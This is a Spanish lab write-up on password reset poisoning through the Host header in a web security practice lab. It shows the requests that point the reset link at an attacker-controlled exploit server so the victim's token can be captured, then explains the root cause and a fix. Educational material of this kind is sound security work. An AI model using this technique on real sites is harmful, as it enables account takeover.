Basic password reset poisoning
Password reset poisoning vía Host header: el enlace de reset se construye con el Host de la request, redirigiendo el token hacia el servidor del atacante para tomar la cuenta de carlos.
Target Overview & Vulnerability Summary
El lab host-header/exploiting/password-reset-poisoning/lab-host-header-basic-password-reset-poisoning es vulnerable a password reset poisoning: el correo de reset construye la URL del enlace usando el valor del header Host de la request. Modificando el Host hacia el exploit server, el enlace de reset entregado a la víctima apunta al servidor del atacante, que captura el token y resetea la contraseña de carlos.
| Campo | Valor |
|---|---|
| Severidad | Alta (apropiación de cuenta vía token de reset exfiltrado) |
| Endpoint vulnerable | POST /forgot-password |
| Root cause | Construcción del enlace de reset con el header Host no validado (Host header poisoning) |
Credenciales del laboratorio: wiener:peter. Los correos del usuario propio se leen vía el email client del exploit server. carlos hace clic en cualquier enlace que reciba.
Technical Breakdown & Exploitation Flow
1. Intercepción de la request de reset
Se captura la request POST /forgot-password:
POST /forgot-password HTTP/2
Host: <LAB-ID>.web-security-academy.net
Cookie: session=<SESSION_ID>
Content-Type: application/x-www-form-urlencoded
csrf=<CSRF_TOKEN>&username=carlos
2. Manipulación del Host
Se modifica el header Host para apuntar al exploit server:
POST /forgot-password HTTP/2
Host: exploit-<ID>.exploit-server.net
Content-Type: application/x-www-form-urlencoded
csrf=<CSRF_TOKEN>&username=carlos
El servidor procesa el reset para carlos y genera el correo con el enlace construido a partir del Host:
https://exploit-<ID>.exploit-server.net/forgot-password?user=carlos&token=<RESET_TOKEN>
3. Captura del token y reset
- El correo llega al buzón de
carlos(el enlace apunta al exploit server). carloshace clic: la request con el token llega al exploit server y se registra en los logs de acceso.- El atacante lee los logs y extrae el
RESET_TOKEN. - Con el token, accede al formulario de reset legítimo:
https://<LAB-ID>.web-security-academy.net/forgot-password?user=carlos&token=<RESET_TOKEN>
- Establece una nueva contraseña para
carlose inicia sesión con ella, resolviendo el lab.
Root Cause Analysis
La causa raíz es confiar en el header Host para construir URLs absolutas de negocio (el enlace de reset). El header Host es definido por el cliente y no tiene garantía de autenticidad: el servidor lo interpola en la plantilla del correo sin validar que pertenezca al host real. El token de reset, que debería viajar solo por canales controlados por la app, termina enviándose a un host controlado por el atacante — transforma una exfiltración de link en apropiación de cuenta.
Secure Remediation
- No derivar URLs absolutas del header
Host. Usar una configuración de host canónico (APP_BASE_URL) server-side:
BASE_URL = os.environ["APP_BASE_URL"] # host canónico de confianza
def forgot_password(request):
reset_url = f"{BASE_URL}/forgot-password?user={user}&token={token}"
send_email(reset_url, to=user_email)
- Validar el
Hostcontra la lista blanca de hosts propios y rechazar requests con hosts desconocidos (incluyendo la práctica de usar el header como proxy routing sin validación). - En proxies, usar una cabecera interna de confianza (p. ej. configuración de
X-Forwarded-Hostsolo desde el load balancer y sanitizada), nunca elHostcrudo del cliente.